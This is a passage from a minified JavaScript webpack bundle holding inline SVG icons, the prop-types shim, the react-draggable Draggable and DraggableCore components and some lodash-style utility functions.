13.6 6.94Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M6.94 9.05994H2.4C2.17909 9.05994 2 8.88086 2 8.65994V7.33994C2 7.11903 2.17909 6.93994 2.4 6.93994H13.6C13.7061 6.93994 13.8078 6.98208 13.8828 7.0571C13.9579 7.13211 14 7.23385 14 7.33994V8.65994C14 8.88086 13.8209 9.05994 13.6 9.05994H9.06" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64"><defs><style>.cls-1{fill:#dfe2ed;}</style></defs><title>Artboard 1</title><path class="cls-1" d="M50,4.5H14A3.5,3.5,0,0,0,10.5,8V56A3.5,3.5,0,0,0,14,59.5H50A3.5,3.5,0,0,0,53.5,56V8A3.5,3.5,0,0,0,50,4.5ZM50.5,56a.5.5,0,0,1-.5.5H14a.5.5,0,0,1-.5-.5V8a.5.5,0,0,1,.5-.5H50a.5.5,0,0,1,.5.5Z"></path><circle class="cls-1" cx="20.5" cy="32" r="2.5"></circle><circle class="cls-1" cx="20.5" cy="44.3" r="2.5"></circle><circle class="cls-1" cx="20.5" cy="19.7" r="2.5"></circle><rect class="cls-1" x="25.98" y="30.26" width="20.02" height="3.49"></rect><rect class="cls-1" x="25.98" y="42.55" width="20.02" height="3.49"></rect><polygon class="cls-1" points="25.98 17.96 25.98 21.45 46 21.45 46 17.96 44 17.96 25.98 17.96"></polygon></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / operation / multi select</title><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g fill="#868E96"><g><path d="M18.17,13.39 L16.28,13.39 L16.28,16.22 L13.44,16.22 L13.44,18.11 L16.28,18.11 L16.28,21 L18.17,21 L18.17,18.11 L21,18.11 L21,16.22 L18.17,16.22 L18.17,13.39 Z M4,18.11 L6.83,18.11 L6.83,16.22 L4.94,16.22 L4.94,14.34 L3.05,14.34 L3.05,17.17 C3.05,17.4210458 3.15039276,17.6616665 3.32884571,17.838241 C3.50729865,18.0148155 3.74896838,18.1126707 4,18.11 Z M18.17,3.94 C18.1382202,3.41127612 17.6996773,2.99904577 17.17,2.99999835 L14.39,2.99999835 L14.39,4.89 L16.28,4.89 L16.28,6.78 L18.17,6.78 L18.17,3.94 Z M4.94,4.89 L6.83,4.89 L6.83,3 L3.99999804,3 C3.74047377,2.9834001 3.48566705,3.07505767 3.29618264,3.25317302 C3.10669822,3.43128837 2.99946966,3.67994396 2.99999804,3.94 L2.99999804,6.78 L4.94,6.78 L4.94,4.89 Z M3.05,8.67 L4.94,8.67 L4.94,12.45 L3.05,12.45 L3.05,8.67 Z M16.28,8.67 L18.17,8.67 L18.17,11.5 L16.28,11.5 L16.28,8.67 Z M8.72,3 L12.5,3 L12.5,4.89 L8.72,4.89 L8.72,3 Z M8.72,16.22 L11.55,16.22 L11.55,18.11 L8.72,18.11 L8.72,16.22 Z"></path></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 30" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M20 4H4C2.897 4 2 4.897 2 6V18C2 19.103 2.897 20 4 20H20C21.103 20 22 19.103 22 18V6C22 4.897 21.103 4 20 4ZM4 6H20V8H4V6ZM4 18V12H20.001L20.002 18H4Z" fill="#0000FF"></path><path d="M6 14H12V16H6V14Z" fill="#0000FF"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 30" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M20 4H6C4.897 4 4 4.897 4 6V11H6V8L12.4 12.8C12.578 12.933 12.789 13 13 13C13.211 13 13.422 12.933 13.6 12.8L20 8V17H12V19H20C21.103 19 22 18.103 22 17V6C22 4.897 21.103 4 20 4ZM13 10.75L6.666 6H19.334L13 10.75Z" fill="#FF8F0C"></path><path d="M2 12H9V14H2V12ZM4 15H10V17H4V15ZM7 18H11V20H7V18Z" fill="#FF8F0C"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 30" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M19.15 3H4.85004C3.75004 3 2.83337 3.91667 2.83337 5.01667V19.3167C2.83337 20.4167 3.75004 21.3333 4.85004 21.3333H19.15C20.25 21.3333 21.1667 20.4167 21.1667 19.3167V5.01667C21.1667 3.91667 20.25 3 19.15 3ZM4.85004 19.3167V5.01667H19.15V19.3167H4.85004Z" fill="#008000"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M13.6499 8.59155L18.1416 15.7416H11.4499H9.24994H5.85828L8.69994 11.6166L10.2583 13.9999L13.6499 8.59155Z" fill="#008000"></path></svg>'},function(e,t){e.exports='<svg viewBox="-2 -1 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M10.8042 7.19517C10.5436 6.93451 10.1222 6.93451 9.86157 7.19517L8.79891 8.25784C8.30624 8.11117 7.3869 7.77784 6.80424 7.19517C6.22157 6.61251 5.88824 5.69317 5.74157 5.20051L6.80424 4.13784C7.0649 3.87717 7.0649 3.45584 6.80424 3.19517L4.13757 0.528508C3.8769 0.267841 3.45557 0.267841 3.19491 0.528508L1.3869 2.33651C1.13357 2.58984 0.990905 2.93784 0.996238 3.29317C1.01157 4.24251 1.2629 7.53984 3.86157 10.1385C6.46024 12.7372 9.75757 12.9878 10.7076 13.0038C10.7109 13.0038 10.7229 13.0038 10.7262 13.0038C11.0782 13.0038 11.4109 12.8652 11.6629 12.6132L13.4709 10.8052C13.7316 10.5445 13.7316 10.1232 13.4709 9.86251L10.8042 7.19517ZM10.7196 11.6698C9.88757 11.6558 7.0409 11.4325 4.80424 9.19518C2.56024 6.95117 2.3429 4.09451 2.32957 3.27917L3.66624 1.94251L5.39024 3.66651L4.52824 4.52851C4.36891 4.68717 4.3009 4.91651 4.3469 5.13651C4.3629 5.21317 4.75424 7.03117 5.8609 8.13784C6.96757 9.24451 8.78557 9.63584 8.86224 9.65184C9.08424 9.69917 9.31157 9.63051 9.47024 9.47117L10.3329 8.60917L12.0569 10.3332L10.7196 11.6698Z" fill="#FF0000"></path></svg>'},function(e,t){e.exports='<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 512 512" style="enable-background:new 0 0 512 512;" xml:space="preserve"><g><g><path d="M320,42.667h10.667c5.891,0,10.667-4.776,10.667-10.667V10.667C341.333,4.775,336.557,0,330.667,0H320 c-25.458,0-48.354,12.188-64,31.469C240.354,12.188,217.458,0,192,0h-10.667c-5.891,0-10.667,4.775-10.667,10.667V32 c0,5.891,4.776,10.667,10.667,10.667H192c23.521,0,42.667,22.469,42.667,50.083v141.917h-32c-5.891,0-10.667,4.775-10.667,10.667 v21.333c0,5.891,4.776,10.667,10.667,10.667h32V419.25c0,27.615-19.146,50.083-42.667,50.083h-10.667 c-5.891,0-10.667,4.775-10.667,10.667v21.333c0,5.891,4.776,10.667,10.667,10.667H192c25.458,0,48.354-12.188,64-31.469 C271.646,499.813,294.542,512,320,512h10.667c5.891,0,10.667-4.776,10.667-10.667V480c0-5.892-4.776-10.667-10.667-10.667H320 c-23.521,0-42.667-22.469-42.667-50.083V277.333h32c5.891,0,10.667-4.776,10.667-10.667v-21.333 c0-5.892-4.776-10.667-10.667-10.667h-32V92.75C277.333,65.135,296.479,42.667,320,42.667z"></path></g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g><g></g></svg>'},function(e,t,n){},function(e,t,n){"use strict";var r=n(926);function o(){}function i(){}i.resetWarningCache=o,e.exports=function(){function e(e,t,n,o,i,a){if(a!==r){var l=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw l.name="Invariant Violation",l}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:i,resetWarningCache:o};return n.PropTypes=n,n}},function(e,t,n){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},function(e,t){e.exports=function(e){if(Array.isArray(e))return e},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";function r(e){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"DraggableCore",{enumerable:!0,get:function(){return f.default}}),t.default=void 0;var o=function(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=m(t);if(n&&n.has(e))return n.get(e);var o={},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=i?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(0)),i=h(n(1)),a=h(n(16)),l=h(n(33)),s=n(189),u=n(272),c=n(146),f=h(n(942)),d=h(n(273)),p=["axis","bounds","children","defaultPosition","defaultClassName","defaultClassNameDragging","defaultClassNameDragged","position","positionOffset","scale"];function h(e){return e&&e.__esModule?e:{default:e}}function m(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(m=function(e){return e?n:t})(e)}function g(){return(g=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function v(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function y(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function b(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?y(Object(n),!0).forEach((function(t){T(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):y(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function w(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return E(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return E(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function E(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function S(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function C(e,t){return(C=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function x(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=_(e);if(t){var o=_(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return O(this,n)}}function O(e,t){if(t&&("object"===r(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return A(e)}function A(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function _(e){return(_=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function T(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var k=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&C(e,t)}(c,e);var t,n,r,i=x(c);function c(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,c),T(A(t=i.call(this,e)),"onDragStart",(function(e,n){if((0,d.default)("Draggable: onDragStart: %j",n),!1===t.props.onStart(e,(0,u.createDraggableData)(A(t),n)))return!1;t.setState({dragging:!0,dragged:!0})})),T(A(t),"onDrag",(function(e,n){if(!t.state.dragging)return!1;(0,d.default)("Draggable: onDrag: %j",n);var r=(0,u.createDraggableData)(A(t),n),o={x:r.x,y:r.y};if(t.props.bounds){var i=o.x,a=o.y;o.x+=t.state.slackX,o.y+=t.state.slackY;var l=w((0,u.getBoundPosition)(A(t),o.x,o.y),2),s=l[0],c=l[1];o.x=s,o.y=c,o.slackX=t.state.slackX+(i-o.x),o.slackY=t.state.slackY+(a-o.y),r.x=o.x,r.y=o.y,r.deltaX=o.x-t.state.x,r.deltaY=o.y-t.state.y}if(!1===t.props.onDrag(e,r))return!1;t.setState(o)})),T(A(t),"onDragStop",(function(e,n){if(!t.state.dragging)return!1;if(!1===t.props.onStop(e,(0,u.createDraggableData)(A(t),n)))return!1;(0,d.default)("Draggable: onDragStop: %j",n);var r={dragging:!1,slackX:0,slackY:0};if(Boolean(t.props.position)){var o=t.props.position,i=o.x,a=o.y;r.x=i,r.y=a}t.setState(r)})),t.state={dragging:!1,dragged:!1,x:e.position?e.position.x:e.defaultPosition.x,y:e.position?e.position.y:e.defaultPosition.y,prevPropsPosition:b({},e.position),slackX:0,slackY:0,isElementSVG:!1},!e.position||e.onDrag||e.onStop||console.warn("A `position` was applied to this <Draggable>, without drag handlers. This will make this component effectively undraggable. Please attach `onDrag` or `onStop` handlers so you can adjust the `position` of this element."),t}return t=c,r=[{key:"getDerivedStateFromProps",value:function(e,t){var n=e.position,r=t.prevPropsPosition;return!n||r&&n.x===r.x&&n.y===r.y?null:((0,d.default)("Draggable: getDerivedStateFromProps %j",{position:n,prevPropsPosition:r}),{x:n.x,y:n.y,prevPropsPosition:b({},n)})}}],(n=[{key:"componentDidMount",value:function(){void 0!==window.SVGElement&&this.findDOMNode()instanceof window.SVGElement&&this.setState({isElementSVG:!0})}},{key:"componentWillUnmount",value:function(){this.setState({dragging:!1})}},{key:"findDOMNode",value:function(){var e,t,n;return null!==(e=null===(t=this.props)||void 0===t||null===(n=t.nodeRef)||void 0===n?void 0:n.current)&&void 0!==e?e:a.default.findDOMNode(this)}},{key:"render",value:function(){var e,t=this.props,n=(t.axis,t.bounds,t.children),r=t.defaultPosition,i=t.defaultClassName,a=t.defaultClassNameDragging,c=t.defaultClassNameDragged,d=t.position,h=t.positionOffset,m=(t.scale,v(t,p)),y={},w=null,E=!Boolean(d)||this.state.dragging,S=d||r,C={x:(0,u.canDragX)(this)&&E?this.state.x:S.x,y:(0,u.canDragY)(this)&&E?this.state.y:S.y};this.state.isElementSVG?w=(0,s.createSVGTransform)(C,h):y=(0,s.createCSSTransform)(C,h);var x=(0,l.default)(n.props.className||"",i,(T(e={},a,this.state.dragging),T(e,c,this.state.dragged),e));return o.createElement(f.default,g({},m,{onStart:this.onDragStart,onDrag:this.onDrag,onStop:this.onDragStop}),o.cloneElement(o.Children.only(n),{className:x,style:b(b({},n.props.style),y),transform:w}))}}])&&S(t.prototype,n),r&&S(t,r),Object.defineProperty(t,"prototype",{writable:!1}),c}(o.Component);t.default=k,T(k,"displayName","Draggable"),T(k,"propTypes",b(b({},f.default.propTypes),{},{axis:i.default.oneOf(["both","x","y","none"]),bounds:i.default.oneOfType([i.default.shape({left:i.default.number,right:i.default.number,top:i.default.number,bottom:i.default.number}),i.default.string,i.default.oneOf([!1])]),defaultClassName:i.default.string,defaultClassNameDragging:i.default.string,defaultClassNameDragged:i.default.string,defaultPosition:i.default.shape({x:i.default.number,y:i.default.number}),positionOffset:i.default.shape({x:i.default.oneOfType([i.default.number,i.default.string]),y:i.default.oneOfType([i.default.number,i.default.string])}),position:i.default.shape({x:i.default.number,y:i.default.number}),className:c.dontSetMe,style:c.dontSetMe,transform:c.dontSetMe})),T(k,"defaultProps",b(b({},f.default.defaultProps),{},{axis:"both",bounds:!1,defaultClassName:"react-draggable",defaultClassNameDragging:"react-draggable-dragging",defaultClassNameDragged:"react-draggable-dragged",defaultPosition:{x:0,y:0},scale:1}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.browserPrefixToKey=i,t.browserPrefixToStyle=function(e,t){return t?"-".concat(t.toLowerCase(),"-").concat(e):e},t.default=void 0,t.getPrefix=o;var r=["Moz","Webkit","O","ms"];function o(){var e,t,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"transform";if("undefined"==typeof window)return"";var o=null===(e=window.document)||void 0===e||null===(t=e.documentElement)||void 0===t?void 0:t.style;if(!o)return"";if(n in o)return"";for(var a=0;a<r.length;a++)if(i(n,r[a])in o)return r[a];return""}function i(e,t){return t?"".concat(t).concat(function(e){for(var t="",n=!0,r=0;r<e.length;r++)n?(t+=e[r].toUpperCase(),n=!1):"-"===e[r]?n=!0:t+=e[r];return t}(e)):e}var a=o();t.default=a},function(e,t,n){"use strict";function r(e){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=function(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=d(t);if(n&&n.has(e))return n.get(e);var o={},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=i?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(0)),i=f(n(1)),a=f(n(16)),l=n(189),s=n(272),u=n(146),c=f(n(273));function f(e){return e&&e.__esModule?e:{default:e}}function d(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(d=function(e){return e?n:t})(e)}function p(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return h(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return h(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function h(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function m(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function g(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function v(e,t){return(v=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function y(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=E(e);if(t){var o=E(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return b(this,n)}}function b(e,t){if(t&&("object"===r(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return w(e)}function w(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function E(e){return(E=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function S(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var C={start:"touchstart",move:"touchmove",stop:"touchend"},x={start:"mousedown",move:"mousemove",stop:"mouseup"},O=x,A=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&v(e,t)}(u,e);var t,n,r,i=y(u);function u(){var e;m(this,u);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return S(w(e=i.call.apply(i,[this].concat(n))),"state",{dragging:!1,lastX:NaN,lastY:NaN,touchIdentifier:null}),S(w(e),"mounted",!1),S(w(e),"handleDragStart",(function(t){if(e.props.onMouseDown(t),!e.props.allowAnyClick&&"number"==typeof t.button&&0!==t.button)return!1;var n=e.findDOMNode();if(!n||!n.ownerDocument||!n.ownerDocument.body)throw new Error("<DraggableCore> not mounted on DragStart!");var r=n.ownerDocument;if(!(e.props.disabled||!(t.target instanceof r.defaultView.Node)||e.props.handle&&!(0,l.matchesSelectorAndParentsTo)(t.target,e.props.handle,n)||e.props.cancel&&(0,l.matchesSelectorAndParentsTo)(t.target,e.props.cancel,n))){"touchstart"===t.type&&t.preventDefault();var o=(0,l.getTouchIdentifier)(t);e.setState({touchIdentifier:o});var i=(0,s.getControlPosition)(t,o,w(e));if(null!=i){var a=i.x,u=i.y,f=(0,s.createCoreData)(w(e),a,u);(0,c.default)("DraggableCore: handleDragStart: %j",f),(0,c.default)("calling",e.props.onStart),!1!==e.props.onStart(t,f)&&!1!==e.mounted&&(e.props.enableUserSelectHack&&(0,l.addUserSelectStyles)(r),e.setState({dragging:!0,lastX:a,lastY:u}),(0,l.addEvent)(r,O.move,e.handleDrag),(0,l.addEvent)(r,O.stop,e.handleDragStop))}}})),S(w(e),"handleDrag",(function(t){var n=(0,s.getControlPosition)(t,e.state.touchIdentifier,w(e));if(null!=n){var r=n.x,o=n.y;if(Array.isArray(e.props.grid)){var i=r-e.state.lastX,a=o-e.state.lastY,l=p((0,s.snapToGrid)(e.props.grid,i,a),2);if(i=l[0],a=l[1],!i&&!a)return;r=e.state.lastX+i,o=e.state.lastY+a}var u=(0,s.createCoreData)(w(e),r,o);if((0,c.default)("DraggableCore: handleDrag: %j",u),!1!==e.props.onDrag(t,u)&&!1!==e.mounted)e.setState({lastX:r,lastY:o});else try{e.handleDragStop(new MouseEvent("mouseup"))}catch(t){var f=document.createEvent("MouseEvents");f.initMouseEvent("mouseup",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),e.handleDragStop(f)}}})),S(w(e),"handleDragStop",(function(t){if(e.state.dragging){var n=(0,s.getControlPosition)(t,e.state.touchIdentifier,w(e));if(null!=n){var r=n.x,o=n.y;if(Array.isArray(e.props.grid)){var i=r-e.state.lastX||0,a=o-e.state.lastY||0,u=p((0,s.snapToGrid)(e.props.grid,i,a),2);i=u[0],a=u[1],r=e.state.lastX+i,o=e.state.lastY+a}var f=(0,s.createCoreData)(w(e),r,o);if(!1===e.props.onStop(t,f)||!1===e.mounted)return!1;var d=e.findDOMNode();d&&e.props.enableUserSelectHack&&(0,l.removeUserSelectStyles)(d.ownerDocument),(0,c.default)("DraggableCore: handleDragStop: %j",f),e.setState({dragging:!1,lastX:NaN,lastY:NaN}),d&&((0,c.default)("DraggableCore: Removing handlers"),(0,l.removeEvent)(d.ownerDocument,O.move,e.handleDrag),(0,l.removeEvent)(d.ownerDocument,O.stop,e.handleDragStop))}}})),S(w(e),"onMouseDown",(function(t){return O=x,e.handleDragStart(t)})),S(w(e),"onMouseUp",(function(t){return O=x,e.handleDragStop(t)})),S(w(e),"onTouchStart",(function(t){return O=C,e.handleDragStart(t)})),S(w(e),"onTouchEnd",(function(t){return O=C,e.handleDragStop(t)})),e}return t=u,(n=[{key:"componentDidMount",value:function(){this.mounted=!0;var e=this.findDOMNode();e&&(0,l.addEvent)(e,C.start,this.onTouchStart,{passive:!1})}},{key:"componentWillUnmount",value:function(){this.mounted=!1;var e=this.findDOMNode();if(e){var t=e.ownerDocument;(0,l.removeEvent)(t,x.move,this.handleDrag),(0,l.removeEvent)(t,C.move,this.handleDrag),(0,l.removeEvent)(t,x.stop,this.handleDragStop),(0,l.removeEvent)(t,C.stop,this.handleDragStop),(0,l.removeEvent)(e,C.start,this.onTouchStart,{passive:!1}),this.props.enableUserSelectHack&&(0,l.removeUserSelectStyles)(t)}}},{key:"findDOMNode",value:function(){var e,t,n;return null!==(e=this.props)&&void 0!==e&&e.nodeRef?null===(t=this.props)||void 0===t||null===(n=t.nodeRef)||void 0===n?void 0:n.current:a.default.findDOMNode(this)}},{key:"render",value:function(){return o.cloneElement(o.Children.only(this.props.children),{onMouseDown:this.onMouseDown,onMouseUp:this.onMouseUp,onTouchEnd:this.onTouchEnd})}}])&&g(t.prototype,n),r&&g(t,r),Object.defineProperty(t,"prototype",{writable:!1}),u}(o.Component);t.default=A,S(A,"displayName","DraggableCore"),S(A,"propTypes",{allowAnyClick:i.default.bool,disabled:i.default.bool,enableUserSelectHack:i.default.bool,offsetParent:function(e,t){if(e[t]&&1!==e[t].nodeType)throw new Error("Draggable's offsetParent must be a DOM Node.")},grid:i.default.arrayOf(i.default.number),handle:i.default.string,cancel:i.default.string,nodeRef:i.default.object,onStart:i.default.func,onDrag:i.default.func,onStop:i.default.func,onMouseDown:i.default.func,scale:i.default.number,className:u.dontSetMe,style:u.dontSetMe,transform:u.dontSetMe}),S(A,"defaultProps",{allowAnyClick:!1,disabled:!1,enableUserSelectHack:!0,onStart:function(){},onDrag:function(){},onStop:function(){},onMouseDown:function(){},scale:1})},function(e,t,n){},function(e,t){e.exports=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t){e.exports=function(e,t){for(var n=-1,r=null==e?0:e.length,o=Array(r);++n<r;)o[n]=t(e[n],n,e);return o}},function(e,t){e.exports=function(e){return e}},function(e,t,n){var r=n(961),o=n(962),i=n(277);e.exports=function(e,t,n){for(var a=-1,l=t.length,s={};++a<l;){var u=t[a],c=r(e,u);n(c,u)&&o(s,i(u,e),c)}return s}},function(e,t){e.exports=function(e,t){return null==e?void 0:e[t]}},function(e,t,n){var r=n(190),o=n(277),i=n(965),a=n(191),l=n(966);e.exports=function(e,t,n,s){if(!a(e))return e;for(var u=-1,c=(t=o(t,e)).length,f=c-1,d=e;null!=d&&++u<c;){var p=l(t[u]),h=n;if("__proto__"===p||"constructor"===p||"prototype"===p)return e;if(u!=f){var m=d[p];void 